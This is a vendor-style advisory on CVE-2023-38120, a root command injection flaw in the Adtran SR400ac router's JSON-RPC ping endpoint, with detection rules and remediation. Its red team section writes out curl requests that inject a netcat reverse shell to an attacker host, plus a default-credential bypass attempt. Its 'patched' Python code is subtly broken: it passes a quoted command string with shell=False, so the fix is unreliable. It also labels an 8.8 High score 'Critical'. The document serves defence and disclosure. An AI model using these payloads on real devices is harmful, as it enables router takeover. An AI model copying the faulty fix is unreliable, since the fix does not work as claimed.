CVE-2023-38120

Executive Summary

CVE-2023-38120 is a critical command injection vulnerability in the Adtran SR400ac router, specifically within the ping command exposed over JSON-RPC. An authenticated attacker can bypass the existing authentication mechanism and inject arbitrary system commands via a crafted host parameter, leading to remote code execution as root. The vulnerability has a CVSS score of 8.8, indicating high severity. No public proof-of-concept (PoC) or patch details are currently available, but the risk is significant due to the potential for full device compromise.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – authentication is needed but can be bypassed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – full system read access.
• Integrity Impact: High (I:H) – full system write access.
• Availability Impact: High (A:H) – full system control, potential denial of service.

Threat Level: Critical. The combination of low attack complexity, network accessibility, and root-level code execution makes this a high-priority vulnerability for any organization using Adtran SR400ac routers.

Deep Dive & Mechanics

The vulnerability resides in the ping command handler exposed via JSON-RPC on the Adtran SR400ac router. The router’s web interface or management API accepts a host parameter to perform a ping operation. Due to insufficient input sanitization, the host parameter is concatenated directly into a system command string without proper escaping or validation.

Root Cause: The application fails to validate or sanitize the host parameter before passing it to a shell command (e.g., ping -c 4 <host>). An attacker can inject shell metacharacters such as ;, |, &, or backticks to execute arbitrary commands.

Authentication Bypass: The advisory notes that the existing authentication mechanism can be bypassed. This suggests that the JSON-RPC endpoint may be accessible without proper session validation, or that a separate vulnerability (e.g., hardcoded credentials, session fixation) allows an attacker to reach the vulnerable function without legitimate authentication.

Exploitation Flow:

1. Attacker identifies a target Adtran SR400ac router with JSON-RPC exposed.
2. Attacker sends a crafted JSON-RPC request to the ping method with a host parameter containing command injection payloads.
3. The router executes the injected command as root, allowing the attacker to execute arbitrary code, install backdoors, or exfiltrate data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess

def ping_host(host):
    # Vulnerable: direct string interpolation
    command = f"ping -c 4 {host}"
    subprocess.call(command, shell=True)

Patched Code (Conceptual):

import subprocess
import shlex

def ping_host(host):
    # Patched: use shlex.quote to escape shell metacharacters
    safe_host = shlex.quote(host)
    command = f"ping -c 4 {safe_host}"
    subprocess.call(command, shell=False)  # Also avoid shell=True

The patched version uses shlex.quote() to escape the host parameter and avoids shell=True to prevent shell injection. Alternatively, the application could use a whitelist of allowed characters (e.g., only alphanumeric and dots) or use a dedicated ping library that does not invoke a shell.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Adtran SR400ac router (firmware version unknown, but vulnerable).
• Attacker: Kali Linux or similar with Python and curl.

Exploitation Steps:

1. Reconnaissance: Scan for exposed JSON-RPC endpoints on port 80/443 or custom ports.

   nmap -p 80,443,8080 --script http-title <target_ip>
   

2. Authentication Bypass: Attempt to access the JSON-RPC endpoint without credentials or with default credentials (e.g., admin:admin).

   curl -X POST http://<target_ip>/jsonrpc -d '{"method":"ping","params":{"host":"127.0.0.1"}}'
   

3. Command Injection: Inject a command to spawn a reverse shell.

   curl -X POST http://<target_ip>/jsonrpc -d '{"method":"ping","params":{"host":"127.0.0.1; nc -e /bin/sh <attacker_ip> 4444"}}'
   

4. Post-Exploitation: Once shell access is obtained, escalate privileges (already root) and maintain persistence.

Note: No public exploit code is available, so this is a conceptual demonstration.

Blue Team (Defensive)

Detection & Prevention:

• Network Monitoring: Monitor for JSON-RPC requests with unusual host parameters containing shell metacharacters (;, |, &, `).
• Input Validation: Ensure the application validates the host parameter against a whitelist of allowed characters (e.g., only IP addresses or hostnames).
• Least Privilege: Run the ping process with minimal privileges, not as root.
• Patch Management: Apply vendor patches as soon as they become available. If no patch exists, consider isolating affected devices.

Indicators of Compromise (IOCs)

• Network IOCs:
  • JSON-RPC requests to /jsonrpc with method: "ping" and host containing shell metacharacters.
  • Outbound connections from the router to unusual IP addresses on common reverse shell ports (e.g., 4444, 1337).
• File IOCs:
  • Unexpected files in /tmp or /var/tmp (e.g., nc, bash, python scripts).
  • Modified system binaries (e.g., /bin/ping replaced with a backdoor).
• Process IOCs:
  • Unusual processes running as root, such as nc, bash -i, or python reverse shells.
• Log IOCs:
  • System logs showing execution of commands like ping -c 4 127.0.0.1; nc -e /bin/sh <ip> 4444.

Detection Engineering

YARA Rule

rule CVE_2023_38120_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Adtran SR400ac ping endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-38120"
    strings:
        $jsonrpc = "jsonrpc" nocase
        $ping = "ping" nocase
        $host = "host" nocase
        $shell_meta = /[;&|`$(){}]/
    condition:
        $jsonrpc and $ping and $host and #shell_meta > 0
}

Sigma Rule

title: CVE-2023-38120 Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to Adtran SR400ac JSON-RPC endpoint with command injection patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/jsonrpc'
        cs-body|contains: 'ping'
        cs-body|contains: 'host'
        cs-body|re: '.*[;&|`$(){}].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in hostnames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-38120 Adtran SR400ac Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/jsonrpc"; http_uri; content:"ping"; http_client_body; content:"host"; http_client_body; pcre:"/[;&|`$(){}]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Devices: If possible, disconnect Adtran SR400ac routers from untrusted networks or place them behind a firewall that restricts access to the JSON-RPC endpoint.
2. Disable JSON-RPC: If the feature is not required, disable the JSON-RPC interface entirely.
3. Apply Vendor Patch: Monitor Adtran’s security advisories for a firmware update. Apply it as soon as it becomes available.

Long-Term Measures:

• Network Segmentation: Place management interfaces on a separate VLAN with strict access controls.
• Input Validation: Implement strict input validation for all user-supplied parameters, especially those used in system commands.
• Least Privilege: Run services with minimal necessary privileges.
• Regular Audits: Conduct periodic security assessments of network devices.

Workaround: If patching is not possible, use a web application firewall (WAF) or reverse proxy to filter out malicious requests containing shell metacharacters in the host parameter.

Valters IT
Securing Digital Frontiers